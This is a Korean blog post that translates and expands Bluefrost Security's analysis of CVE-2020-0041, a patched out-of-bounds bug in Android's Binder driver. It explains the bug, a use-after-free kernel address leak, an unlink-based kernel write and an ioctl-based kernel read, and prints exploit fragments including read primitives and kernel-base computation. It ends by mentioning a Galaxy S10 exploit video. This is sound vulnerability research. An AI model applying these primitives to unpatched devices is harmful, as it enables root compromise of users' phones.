Mobile/Android

CVE-2020-0041 분석 글 번역 및 정리 (+ Samsung Galaxy S10 RCE)

pyozzi 2020. 10. 26. 02:03

AOSP 3월에 패치된 CVE-2020-0041 취약점에 대한 분석글이다.

원문은 Bluefrost Security LPE 정리글에서 확인할 수 있다.

 

CVE-2020-0041은 Binder Transaction 과정에서 발생하는 Out of Bound취약점이다.

취약점이 발생하는 이유는 생각보다 간단한데, 인덱스 계산할 때 나눗셈 연산을 해야되는걸 곱셈 연산을 하면서 발생하게 된다.

 

이게 좀 웃긴게 트랜잭션을 정리하는 과정에서는 또 나눗셈으로 제대로 계산을 해준다.

밤새고 코딩했거나, 술 마시고 코딩했거나..ㅋㅋ

 

또한, 취약점이 발생하는 코드가 2019년 2월쯤 Qualcomm Kernel(msm)에만 추가되었기 때문에, Qualcomm기반의 Android 10.0 이상의 버전에서만 발생되는 취약점이며, Kernel 4.14/4.9 버전에서 발생된다.

 

Bluefrost팀은 해당 취약점으로 Chrome Escape와 LPE를 달성했는데 두 익스플로잇 과정을 아주 상세하게 정리해두어서

취약점을 분석하는 입장에서 도움이 정말 많이 됐다.

특히, PoC코드의 각 구문에 대한 설명을 주석으로 달아줘서 이해하는데 도움이 상당히 많이 됐다.

 

이 글은 Bluefrost팀의 정리글을 번역함과 동시에 내가 분석했던 부분을 추가해서 정리한 글이다.

 

Root Cause


 

kernel/drivers/android/binder.c - binder_transaction( )

static void binder_transaction(struct binder_proc *proc,
                   struct binder_thread *thread,
                   struct binder_transaction_data *tr, int reply,
                   binder_size_t extra_buffers_size)
{


/* 중략 */

        case BINDER_TYPE_FDA: {
            struct binder_object ptr_object;
            binder_size_t parent_offset;
            struct binder_fd_array_object *fda =
                to_binder_fd_array_object(hdr);

                        /******************** 취약점 발생 ********************/
            size_t num_valid = (buffer_offset - off_start_offset) *
                        sizeof(binder_size_t);
                        /***************************************************/
            /* 패치된 코드
            size_t num_valid = (buffer_offset - off_start_offset) /
                        sizeof(binder_size_t);
            */

            struct binder_buffer_object *parent =
                binder_validate_ptr(target_proc, t->buffer,
                            &ptr_object, fda->parent,
                            off_start_offset,
                            &parent_offset,
                            num_valid);
            if (!parent) {
                binder_user_error("%d:%d got transaction with invalid parent offset or type\n",
                          proc->pid, thread->pid);
                return_error = BR_FAILED_REPLY;
                return_error_param = -EINVAL;
                return_error_line = __LINE__;
                goto err_bad_parent;
            }
            if (!binder_validate_fixup(target_proc, t->buffer,
                           off_start_offset,
                           parent_offset,
                           fda->parent_offset,
                           last_fixup_obj_off,
                           last_fixup_min_off)) {
                binder_user_error("%d:%d got transaction with out-of-order buffer fixup\n",
                          proc->pid, thread->pid);
                return_error = BR_FAILED_REPLY;
                return_error_param = -EINVAL;
                return_error_line = __LINE__;
                goto err_bad_parent;
            }
            ret = binder_translate_fd_array(fda, parent, t, thread,
                            in_reply_to);
            if (ret < 0) {
                return_error = BR_FAILED_REPLY;
                return_error_param = ret;
                return_error_line = __LINE__;
                goto err_translate_failed;
            }
            last_fixup_obj_off = parent_offset;
            last_fixup_min_off =
                fda->parent_offset + sizeof(u32) * fda->num_fds;
        } break;
        case BINDER_TYPE_PTR: {
            struct binder_buffer_object *bp =
                to_binder_buffer_object(hdr);
            size_t buf_left = sg_buf_end_offset - sg_buf_offset;
            size_t num_valid;

            if (bp->length > buf_left) {
                binder_user_error("%d:%d got transaction with too large buffer\n",
                          proc->pid, thread->pid);
                return_error = BR_FAILED_REPLY;
                return_error_param = -EINVAL;
                return_error_line = __LINE__;
                goto err_bad_offset;
            }
            if (binder_alloc_copy_user_to_buffer(
                        &target_proc->alloc,
                        t->buffer,
                        sg_buf_offset,
                        (const void __user *)
                            (uintptr_t)bp->buffer,
                        bp->length)) {
                binder_user_error("%d:%d got transaction with invalid offsets ptr\n",
                          proc->pid, thread->pid);
                return_error_param = -EFAULT;
                return_error = BR_FAILED_REPLY;
                return_error_line = __LINE__;
                goto err_copy_data_failed;
            }
            /* Fixup buffer pointer to target proc address space */
            bp->buffer = (uintptr_t)
                t->buffer->user_data + sg_buf_offset;
            sg_buf_offset += ALIGN(bp->length, sizeof(u64));

                        /******************** 취약점 발생 ********************/
            num_valid = (buffer_offset - off_start_offset) *
                    sizeof(binder_size_t);

                        /***************************/
            /* 패치된 코드
            size_t num_valid = (buffer_offset - off_start_offset) /
                        sizeof(binder_size_t);
            */

            ret = binder_fixup_parent(t, thread, bp,
                          off_start_offset,
                          num_valid,
                          last_fixup_obj_off,
                          last_fixup_min_off);
            if (ret < 0) {
                return_error = BR_FAILED_REPLY;
                return_error_param = ret;
                return_error_line = __LINE__;
                goto err_translate_failed;
            }
            binder_alloc_copy_to_buffer(&target_proc->alloc,
                            t->buffer, object_offset,
                            bp, sizeof(*bp));
            last_fixup_obj_off = object_offset;
            last_fixup_min_off = 0;
        } break;

/* 생략 */
}

CVE-2020-0041 취약점은 Binder 트랜잭션 중 노드의 최대 Index값이 되는 num_valid값이 잘 못 계산되어서 발생하게 된다.

 

size_t num_valid = (buffer_offset - off_start_offset) * sizeof(binder_size_t);

취약점이 발생하는 구문은 위와 같다.

 

buffer_offset이 0x10이고, off_start_offset이 0x0인 상황에서 위 구문으로 num_valid값을 계산하게 되면 다음과 같은 결과가 도출된다.

/* buffer_offset - off_start_offset * binder_size_t = num_valid */
(0x10 - 0x0) * 0x8 = 0x80;

num_valid가 0x80이라는 비정상적인 값으로 계산된다.

즉, 해당 바인더 트랜잭션에서 접근 가능한 노드의 최대 Index가 0x80이 되는 것이다.

 

5

이 때문에 위와 같이 OOB(Out Of Bound)취약점이 발생하게 된다.

 

PATCHED

size_t num_valid = (buffer_offset - off_start_offset) / sizeof(binder_size_t);

패치된 코드를 살펴보면 *연산/ 연산으로 수정되었는데, 해당 구문으로 다시 계산해보면 다음과 같은 결과가 나온다.

 

/* buffer_offset - off_start_offset * binder_size_t = num_valid */
(0x10 - 0x0) / 0x8 = 0x2;

num_valid가 0x2로 정상적인 값으로 계산된다.

 

이 취약점만 가지고 LPE를 진행하는건 불가능하다.

bluefrostsecurity에서는 UAF와 unlink 기법을 추가해서 root권한을 획득하였다.

 

 

 

 

Kernel Memory Leak ( Use After Free )


먼저 CVE-2020-0041의 근본적인 취약점 OOB(OutOfBound)UAF(Use After Free)상황을 만들 수 있다.

binder_transaction_buffer_release() (drivers/android/binder.c)

static void binder_transaction_buffer_release(struct binder_proc *proc,
                          struct binder_buffer *buffer,
                          binder_size_t failed_at,
                          bool is_failure)
{
    int debug_id = buffer->debug_id;
    binder_size_t off_start_offset, buffer_offset, off_end_offset;

    binder_debug(BINDER_DEBUG_TRANSACTION,
             "%d buffer release %d, size %zd-%zd, failed at %llx\n",
             proc->pid, buffer->debug_id,
             buffer->data_size, buffer->offsets_size,
             (unsigned long long)failed_at);

    if (buffer->target_node)
       binder_dec_node(buffer->target_node, 1, 0);

    off_start_offset = ALIGN(buffer->data_size, sizeof(void *));
    off_end_offset = is_failure ? failed_at :
                off_start_offset + buffer->offsets_size;
[1]    for (buffer_offset = off_start_offset; buffer_offset < off_end_offset;
         buffer_offset += sizeof(binder_size_t)) {
        struct binder_object_header *hdr;
        size_t object_size;
        struct binder_object object;
        binder_size_t object_offset;

        binder_alloc_copy_from_buffer(&proc->alloc, &object_offset,
                          buffer, buffer_offset,
                          sizeof(object_offset));
        object_size = binder_get_object(proc, buffer,
                        object_offset, &object);
        if (object_size == 0) {
            pr_err("transaction release %d bad object at offset %lld, size %zd\n",
                   debug_id, (u64)object_offset, buffer->data_size);
            continue;
        }
        hdr = &object.hdr;
[2]     switch (hdr->type) {
            case BINDER_TYPE_BINDER:
            case BINDER_TYPE_WEAK_BINDER: {
                struct flat_binder_object *fp;
                struct binder_node *node;

                fp = to_flat_binder_object(hdr);
[3]             node = binder_get_node(proc, fp->binder);
                if (node == NULL) {
                    pr_err("transaction release %d bad node %016llx\n",
                           debug_id, (u64)fp->binder);
                    break;
                }
                binder_debug(BINDER_DEBUG_TRANSACTION,
                         "        node %d u%016llx\n",
                         node->debug_id, (u64)node->ptr);
[4]             binder_dec_node(node, hdr->type == BINDER_TYPE_BINDER,
                        0);
                binder_put_node(node);
            } break;

binder_transaction_buffer_release()는 바인더 트랜잭션에 사용된 노드를 해제하는 역할을 한다.

 

[1] 구문의 반복문을 돌면서 트랜잭션의 모든 binder_node들이 처리되고, [2]의 switch문으로 BINDER_TYPE에 따른 case에 맞게 노드들이 처리된다.

 

노드 해제는 [4]의 binder_dec_node()에서 처리되는데, 인자로 전달되는 node는 [3]에서 binder_get_node()를 통해 가져와진다.

 

fp->binderOOB로 수정가능한 값이기 때문에 임의의 binder_node로 바꿀 수 있게 된다.

따라서, binder_dec_node()에 사용중인 임의의 binder_node를 넘겨줌으로써 UAF가 발생하게 된다.

 

이렇게 트리거한 UAF취약점으로 Kernel Memory leak이 가능해지는데, 트랜잭션 과정에서 binder_node의 데이터가 유저 영역으로 저장되는 과정을 살펴볼 필요가 있다.

 

binder_thread_read() (drivers/android/binder.c)

        struct binder_transaction_data *trd = &tr.transaction_data;

...

        if (t->buffer->target_node) {
            struct binder_node *target_node = t->buffer->target_node;
            struct binder_priority node_prio;

[1]         trd->target.ptr = target_node->ptr;
            trd->cookie =  target_node->cookie;
            node_prio.sched_policy = target_node->sched_policy;
            node_prio.prio = target_node->min_priority;
            binder_transaction_priority(current, t, node_prio,
                            target_node->inherit_rt);
            cmd = BR_TRANSACTION;
        } else {
            trd->target.ptr = 0;
            trd->cookie = 0;
            cmd = BR_REPLY;
        }

...

[2]     if (copy_to_user(ptr, &tr, trsize)) {
            if (t_from)
                binder_thread_dec_tmpref(t_from);

            binder_cleanup_transaction(t, "copy_to_user failed",
                           BR_FAILED_REPLY);

            return -EFAULT;
        }
        ptr += trsize;

binder_node가 트랜잭션의 target_node로 사용되면 위 코드에서 [1] 분기문으로 처리된다.

 

유심히 봐야할 부분은 binder_nodeptrcookie필드를 binder_transaction_data오브젝트에 저장하고,[2] 분기문에서 유저영역으로 복사되는 점이다.

 

[2] 분기문은 수신 프로세스가 트랜잭션을 읽어 들일 때 수행되게 되는데, binder_node를 트랜잭션 대기열에 등록하고 위의 OOB취약점으로 해당 노드를 해제하게 되면 노드는 dangling pointer를 가지게 될 것이다.

 

이 상태에서 binder_node크기가 같고, 마음대로 할당/해제가 가능한 오브젝트가 있다면 해당 오브젝트로 재할당을 유도할 수 있을 것이다.

 

위 조건을 충족하는 오브젝트로 eventpoll에서 사용되는 epitem오브젝트가 있다.

 

먼저 binder_node의 필드 구조부터 살펴보자. 노드의 크기는 128Byte를 가진다.

binder_node ( drivers/android/binder.c )

struct binder_node {                        // binder_node Total Size: 128 Byte (Decimal)
    int debug_id;                            // 0 - 4 (4 Byte)
    spinlock_t lock;                        // 4 - 8 (4 Byte)
    struct binder_work work;                // 8 - 32 (24 Byte)

    union {                                    // 32 - 56 (24 Byte) 
                                            // union은 가장 큰 멤버의 크기로 할당됨 (24 > 16)

        struct rb_node rb_node;                // rb_node Total Size: 24Byte
    //    ㄴ unsigned long __rb_parent_color; // 8 byte
    //  ㄴ struct rb_node *rb_right;            // 8 byte
    //    ㄴ struct rb_node *rb_left;            // 8 byte

        struct hlist_node dead_node;        // hlist_node Total size: 16Byte
    //  ㄴ struct hlist_node *next;            // 8 byte
    //    ㄴ struct hlist_node **pprev;         // 8 byte
    };

    struct binder_proc *proc;                // 56 - 64 (8 Byte)
    struct hlist_head refs;                    // 64 - 72 (8 Byte)
//  ㄴ struct hlist_node *first;                // 8 byte

    int internal_strong_refs;                // 72 - 76 (4 Byte)
    int local_weak_refs;                    // 76 - 80 (4 Byte)
    int local_strong_refs;                    // 80 - 84 (4 Byte)
    int tmp_refs;                            // 84 - 88 (4 Byte)

    binder_uintptr_t ptr;                    // 88 - 96  (8 Byte)  /* Point(1) */
    binder_uintptr_t cookie;                // 96 - 104 (8 Byte)  /* Point(2) */

    struct {                                // 104 - 105 (1 Byte)
        /*
         * bitfield elements protected by
         * proc inner_lock
         */
        u8 has_strong_ref:1;
        u8 pending_strong_ref:1;
        u8 has_weak_ref:1;
        u8 pending_weak_ref:1;
    };
    struct {                                // 105 - 107 (2 Byte)
        /*
         * invariant after initialization
         */
        u8 accept_fds:1;
        u8 txn_security_ctx:1;
        u8 min_priority;
    };
    bool has_async_transaction;                // 107 - 108 (1 Byte)
                                            // 108 - 112 (4 Byte) for align
    struct list_head async_todo;            // 112 - 128 (16 Byte)
};

copy_to_user()에서 복사되는 값은 ptr, cookie 두 필드의 값이며, 각 0x58(88), 0x60(96) 오프셋에 위치한다.

    binder_uintptr_t ptr;                    // 88 - 96  (8 Byte)  /* Point(1) */
    binder_uintptr_t cookie;                // 96 - 104 (8 Byte)  /* Point(2) */

 

다음은 epitem의 구조를 살펴보자

epitem ( fs/eventpoll.c )

struct epitem {
    union {                // 0 - 24 (24 Byte) Union 공용체 (24Byte > 16Byte)
        struct rb_node rbn;                    // 24 Byte
    //  ㄴ unsigned long __rb_parant_color    // 8 Byte
    //  ㄴ struct rb_node *rb_right;            // 8 Byte
    //  ㄴ struct rb_node *rb_left;            // 8 Byte

        struct rcu_head rcu;                    // 16 Byte
    //  ㄴ struct callback_head *next;            // 8 Byte
    //  ㄴ void (*func)(struct callback_head *);// 8 Byte
    };

    struct list_head rdllink;    // 24 - 40 (16 Byte)
//  ㄴ struct list_head *next;    // 8 Byte
//  ㄴ struct list_head *prev;    // 8 Byte

    struct epitem *next;        // 40 - 48 (8 Byte)


    struct epoll_filefd ffd;    // 48 - 60 (12 Byte)
//  ㄴ struct file *file;        // 8 Byte
//    ㄴ int fd;                    // 4 Byte

    int nwait;                    // 60 - 64 (4 Byte)

    struct list_head pwqlist;    // 64 - 80 (16 Byte)
//    ㄴ struct list_head *next;    // 8 Byte
//    ㄴ struct list_head *prev;    // 8 Byte

    struct eventpoll *ep;        // 80 - 88 (8 Byte)

    struct list_head fllink;    // 88 - 104 (16 Byte)
//  ㄴ struct list_head *next;    // 8 Byte /* Point(1) == binder_node->ptr */
//  ㄴ struct list_head *prev;    // 8 Byte /* Point(2) == binder_node->cookie */

    struct wakeup_source __rcu *ws; // 104 - 112 (8 Byte)

    struct epoll_event event;    // 112 - 128 (16 Byte)
//  ㄴ __u32 events;
//  ㄴ __u64 data;
};

epitem도 128Byte의 크기를 가지며, 0x58에는 fllink->next, 0x60에는 fllink->prev가 위치한다.

 

fllinkeventpollepitem 오브젝트를 리스트로 연결해서 관리하는데 사용되기 때문에 fllink->nextfllink->prev 두 개의 커널 메모리를 얻을 수 있게 된다.

 

그림으로 표현하면 다음과 같이 표현할 수 있다.

image-20200519185105134

하나의 epitem이 할당되면 위와 같은 모습의 리스트 구조를 갖게 된다.

 

그림에서 binder_node->ptrbinder_node->cookie와 같은 오프셋을 가지는 부분은 fllink.nextfllink.prev부분이다.

 

리스트에 epitem이 하나만 존재하기 때문에 nextprev가 같은 포인터 값을 갖게 되므로 하나의 커널 주소를 얻을 수 있게 된다.

 

image-20200519184931779

두 개의 epitem이 리스트에 존재한다고 가정해보자

 

fllink.next은 다음 epitem의 주소를 갖게 되고, fllink.prevstruct file의 주소를 갖게되므로 두 개의 커널 주소를 얻을 수 있다.

 

다만, 이 방법으로 leak을 진행하려면 UAF를 통해 epitembinder_node위치에 재할당될 때까지 copy_to_user()가 실행되지 않도록 트랜잭션을 대기 상태로 두어야 한다.

이 부분은 Thread를 사용해서 해결할 수 있다.

 

각 트랜잭션 마다 Thread를 생성하고, pthread_barrier_wait()를 통해 Thread를 블록상태로 두면 트랜잭션 또한 더 이상 진행되지 않고 대기 상태로 유지된다.

 

leak이 필요한 시점에 블록상태를 해제하면 copy_to_user()가 실행되고 우리가 원하는 데이터를 얻을 수 있게 된다.

여기서 알아낸 커널 포인터는 Kernel Write를 구현하는데 사용된다.

 

 

 

 

Kernel Write ( unlink )


Kernel Write를 위해서 앞에서 봤던 binder_transaction_buffer_release()로 다시 되돌아 가야 한다.

static void binder_transaction_buffer_release(struct binder_proc *proc,
                          struct binder_buffer *buffer,
                          binder_size_t failed_at,
                          bool is_failure)
{
    int debug_id = buffer->debug_id;
    binder_size_t off_start_offset, buffer_offset, off_end_offset;

    binder_debug(BINDER_DEBUG_TRANSACTION,
             "%d buffer release %d, size %zd-%zd, failed at %llx\n",
             proc->pid, buffer->debug_id,
             buffer->data_size, buffer->offsets_size,
             (unsigned long long)failed_at);

[1]    if (buffer->target_node)
        binder_dec_node(buffer->target_node, 1, 0);

/* 생략 */

[1] 조건문에서 노드가 트랜잭션의 target_node인지 확인하고, target_node일 경우 binder_dec_node()로 분기된다.

 

static void binder_dec_node(struct binder_node *node, int strong, int internal)
{
    bool free_node;

    binder_node_inner_lock(node);
    free_node = binder_dec_node_nilocked(node, strong, internal);
    binder_node_inner_unlock(node);
    if (free_node)
        binder_free_node(node);
}

binder_dec_node()는 노드를 블럭시키고 binder_dec_node_nilocked()로 해제 과정을 진행한다.

 

static bool binder_dec_node_nilocked(struct binder_node *node,
                     int strong, int internal)
{
    struct binder_proc *proc = node->proc;

    assert_spin_locked(&node->lock);
    if (proc)
        assert_spin_locked(&proc->inner_lock);
    if (strong) {
        if (internal)
            node->internal_strong_refs--;
        else
            node->local_strong_refs--;
        if (node->local_strong_refs || node->internal_strong_refs)
            return false;
    } else {
        if (!internal)
            node->local_weak_refs--;
        if (node->local_weak_refs || node->tmp_refs ||
                !hlist_empty(&node->refs))
            return false;
    }

     if (proc && (node->has_strong_ref || node->has_weak_ref)) {
[1]   if (list_empty(&node->work.entry)) {
            binder_enqueue_work_ilocked(&node->work, &proc->todo);
            binder_wakeup_proc_ilocked(proc);
        }
[2] } else {
        if (hlist_empty(&node->refs) && !node->local_strong_refs &&
            !node->local_weak_refs && !node->tmp_refs) {
            if (proc) {
                binder_dequeue_work_ilocked(&node->work);
                rb_erase(&node->rb_node, &proc->nodes);
                binder_debug(BINDER_DEBUG_INTERNAL_REFS,
                         "refless node %d deleted\n",
                         node->debug_id);
            } else {
[3]             BUG_ON(!list_empty(&node->work.entry));
                spin_lock(&binder_dead_nodes_lock);
                /*
                 * tmp_refs could have changed so
                 * check it again
                 */
                if (node->tmp_refs) {
                    spin_unlock(&binder_dead_nodes_lock);
                    return false;
                }
[4]             hlist_del(&node->dead_node);
                spin_unlock(&binder_dead_nodes_lock);
                binder_debug(BINDER_DEBUG_INTERNAL_REFS,
                         "dead node %d deleted\n",
                         node->debug_id);
            }
            return true;
        }
    }
    return false;
}

binder_dec_node_nilocked()에서 몇 가지 분기문을 지나면 hlist_del()로 실질적인 해제가 진행된다.

 

[1]분기문에서는 list_empty()를 통해 노드가 비었는지 확인하기 때문에, [2]로 분기 시키기 위해서 노드의 데이터를 설정해주고, 다음으로 노드의 procNULL인지 확인하는데 NULL이 아니기 때문에 [3]으로 분기된다.

 

[3]에서 list_empty()가 실행되면서 BUG_ON() 검사가 진행되는데, 이 검사를 생략하려면 node->nextnode->prevlist_head를 가리키게 해야한다.

 

이 부분은 위에서 Kernel Memory leak을 통해 얻은 주소로 해결할 수 있다.

 

[3]까지 우회하게 되면 [4]구문에서 우리가 쓰기 가능한 nodehlist_del()에 진입하게 된다.

 

static inline void __hlist_del(struct hlist_node *n)
{
    struct hlist_node *next = n->next;
    struct hlist_node **pprev = n->pprev;

    WRITE_ONCE(*pprev, next);
    if (next)
        next->pprev = pprev;
}

static inline void hlist_del(struct hlist_node *n)
{
    __hlist_del(n);
    n->next = LIST_POISON1;
    n->pprev = LIST_POISON2;
}

hlist_del()를 보면 전형적인 unlink 수행 함수이다.

따라서, 두 개의 쓰기 가능한 커널 주소node->nextnode->prev로 설정해서 Kernel Write를 진행할 수 있다.

또한, node->nextNULL로 설정하면 하나의 커널 주소에 8Byte NULL를 쓸 수 있다.

 

여기서 node->nextnode->prev를 완전히 컨트롤 하기 위해서는 HeapSpray 과정이 필요하다.

커널영역의 HeapSpraysendmsg()시스템콜을 통해 진행할 수 있다.

 

static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
             struct msghdr *msg_sys, unsigned int flags,
             struct used_address *used_address,
             unsigned int allowed_msghdr_flags)
{
    struct compat_msghdr __user *msg_compat =
        (struct compat_msghdr __user *)msg;
    struct sockaddr_storage address;
    struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
    unsigned char ctl[sizeof(struct cmsghdr) + 20]
        __attribute__ ((aligned(sizeof(__kernel_size_t))));
    /* 20 is size of ipv6_pktinfo */
    unsigned char *ctl_buf = ctl;
    int ctl_len;
    ssize_t err;

...

        if (ctl_len > sizeof(ctl)) {
[1]         ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);
            if (ctl_buf == NULL)
                goto out_freeiov;
        }
        err = -EFAULT;
        /*
         * Careful! Before this, msg_sys->msg_control contains a user pointer.
         * Afterwards, it will be a kernel pointer. Thus the compiler-assisted
         * checking falls down on this.
         */
[2]     if (copy_from_user(ctl_buf,
                   (void __user __force *)msg_sys->msg_control,
                   ctl_len))
            goto out_freectl;
        msg_sys->msg_control = ctl_buf;
    }

...


out_freectl:
    if (ctl_buf != ctl)
[3]    sock_kfree_s(sock->sk, ctl_buf, ctl_len);
out_freeiov:
    kfree(iov);
    return err;
}

위 함수가 sendmsg()의 구현체인데, [1]을 보면 요청한 메시지의 길이가 ctl_buf보다 크면 sock_kmalloc()을 통해 커널에 힙 할당이 이루어지는 것을 볼 수 있다.

[2]에서 copy_from_user()로 요청 메시지가 ctl_buf로 복사되고, [3]에서 할당이 해제된다.

 

hlist_del()에서 unlink가 진행되기 전에 ctl_buf의 할당이 해제되면 안되기 때문에, copy_from_user()가 실행된 뒤의 코드 실행을 차단해야 한다.

 

사용자가 전송한 데이터가 버퍼를 가득 채우게 되면 시스템 호출이 차단되는데, 이 방법을 통해서 sock_kfree_s()의 실행을 차단할 수 있다.

 

HeapSpray를 통해 우리는 binder_node를 완전히 제어 가능한 형태로 재할당해 줄 수 있다.

 

 

 

 

Kernel Read


Kernel Read는 CVE-2019-2205과 동일한 방법을 사용하였다.

UAF를 통해 file->f_inode를 제어 가능한 형태로 만들어 준 뒤, ioctl()를 통해 Kernel Read를 수행한다.

 

다만, CVE-2019-2205에서는 binder_mapping을 활용하였지만 현재 버전에서는 binder_mapping이 제거되면서 더 이상 해당 방법을 통해서는 불가능해졌다.

 

여기에서는 file->f_inodeepitem을 가리키도록 해서 binder_mapping을 대체하였다.

epitem에는 우리가 완전히 제어 가능한 epitem.data필드가 존재한다.

epitem.data는 8Byte의 크기를 가지며, ep_ctl(efd, EPOLL_CTL_MOD, fd &event)를 통해 수정할 수 있다.

 

do_vfs_ioctl ( fs/ioctl.c )

int do_vfs_ioctl(struct file *filp, unsigned int fd, unsigned int cmd,
         unsigned long arg)
{
    int error = 0;
    int __user *argp = (int __user *)arg;
    struct inode *inode = file_inode(filp);

    switch (cmd) {

...

    case FIGETBSZ:
        return put_user(inode->i_sb->s_blocksize, argp); /* Point */

...

따라서, event.data값을 inode->i_sb->s_blocksize로 정렬하면 원하는 커널주소의 값을 읽을 수 있게 된다.

이 과정을 그림으로 다음과 같이 표현할 수 있다.

 

image-20200521110423546

먼저 Kernel Writeepitem->nextfile->f_inode를 가리키도록 한다.

 

그런 다음 f_inodeepitem을 가리키도록 하는데, inode->i_sbepitem.data와 정렬되도록 오프셋을 잘 계산해서 주소를 덮어써준다.

여기까지 진행하면 inode->i_sbepitem.data를 가리키게 된다.

 

이제 epitem.dataKernel_Addr - s_blocksize(24)값을 써주면, 우리가 원하는 커널 주소의 값을 읽어올 수 있게된다.

 

uint64_t read32(uint64_t addr) {
   struct epoll_event evt;
   evt.events = 0;
   evt.data.u64 = addr - 24;
   int err = epoll_ctl(file->ep_fd, EPOLL_CTL_MOD, pipes[0], &evt);
   uint32_t test = 0xdeadbeef;
   ioctl(pipes[0], FIGETBSZ, &test);
   return test;
}

uint64_t read64(uint64_t addr) {
   uint32_t lo = read32(addr);
   uint32_t hi = read32(addr+4);

   return (((uint64_t)hi) << 32) | lo;
}

위에서 설명한 방법으로 Kernel Read를 구현한 모습이다.

 

evt.data.u64Kernel_Addr - 24(s_blocksize) 값을 저장하고 ioctl()로 값을 읽어온다.

ioctl()은 4Byte만 읽어올 수 있기 때문에, 8Byte를 읽기 위해서는 값을 두 번 읽어줘야 한다.

 

전체적인 과정의 코드는 다음과 같다.

 

/* Step 1: leak a pipe file address */

file = node_new("leak_file");

/* Only works on file implementing the 'epoll' function. */
while (!node_realloc_epitem(file, pipes[0]))
   node_reset(file);

uint64_t file_addr = file->file_addr;
log_info("[+] pipe file: 0x%lx\n", file_addr);


/* Step 2: leak epitem address */
struct exp_node *epitem_node = node_new("epitem");
while (!node_kaddr_disclose(file, epitem_node))
   node_reset(epitem_node);

printf("[*] file epitem at %lx\n", file->kaddr);

/*
 * Alright, now we want to do a write8 to set file->f_inode.
 * Given the unlink primitive, we'll set file->f_inode = epitem + 80
 * and epitem + 88 = &file->f_inode.
 *
 * With this we can change f_inode->i_sb by modifying the epitem data,
 * and get an arbitrary read through ioctl.
 *
 * This is corrupting the fllink, so we better don't touch anything there!
 */

struct exp_node *write8_inode = node_new("write8_inode");
node_write8(write8_inode, file->kaddr + 120 - 40 , file_addr + 0x20);

printf("[*] Write done, should have arbitrary read now.\n");
uint64_t fop = read64(file_addr + 0x28);
printf("[+] file operations: %lx\n", fop);

kernel_base = fop - OFFSET_PIPE_FOP;
printf("[+] kernel base: %lx\n", kernel_base);

이로써, Kernel Write, Kernel Read가 가능해졌다.

이제부터는 Read/Write를 적절히 활용해서 익스플로잇을 진행하면 된다.

 


Samsung S10 RCE (SELinux + Know Bypass)

 

 

CVE-2020-0041 1day를 이용한 Samsung Galaxy S10 RCE 영상입니다.

SELinux와 Knox를 우회하는 과정에서 제약사항들이 좀 있어서 익스플로잇 시간이 좀 기네요.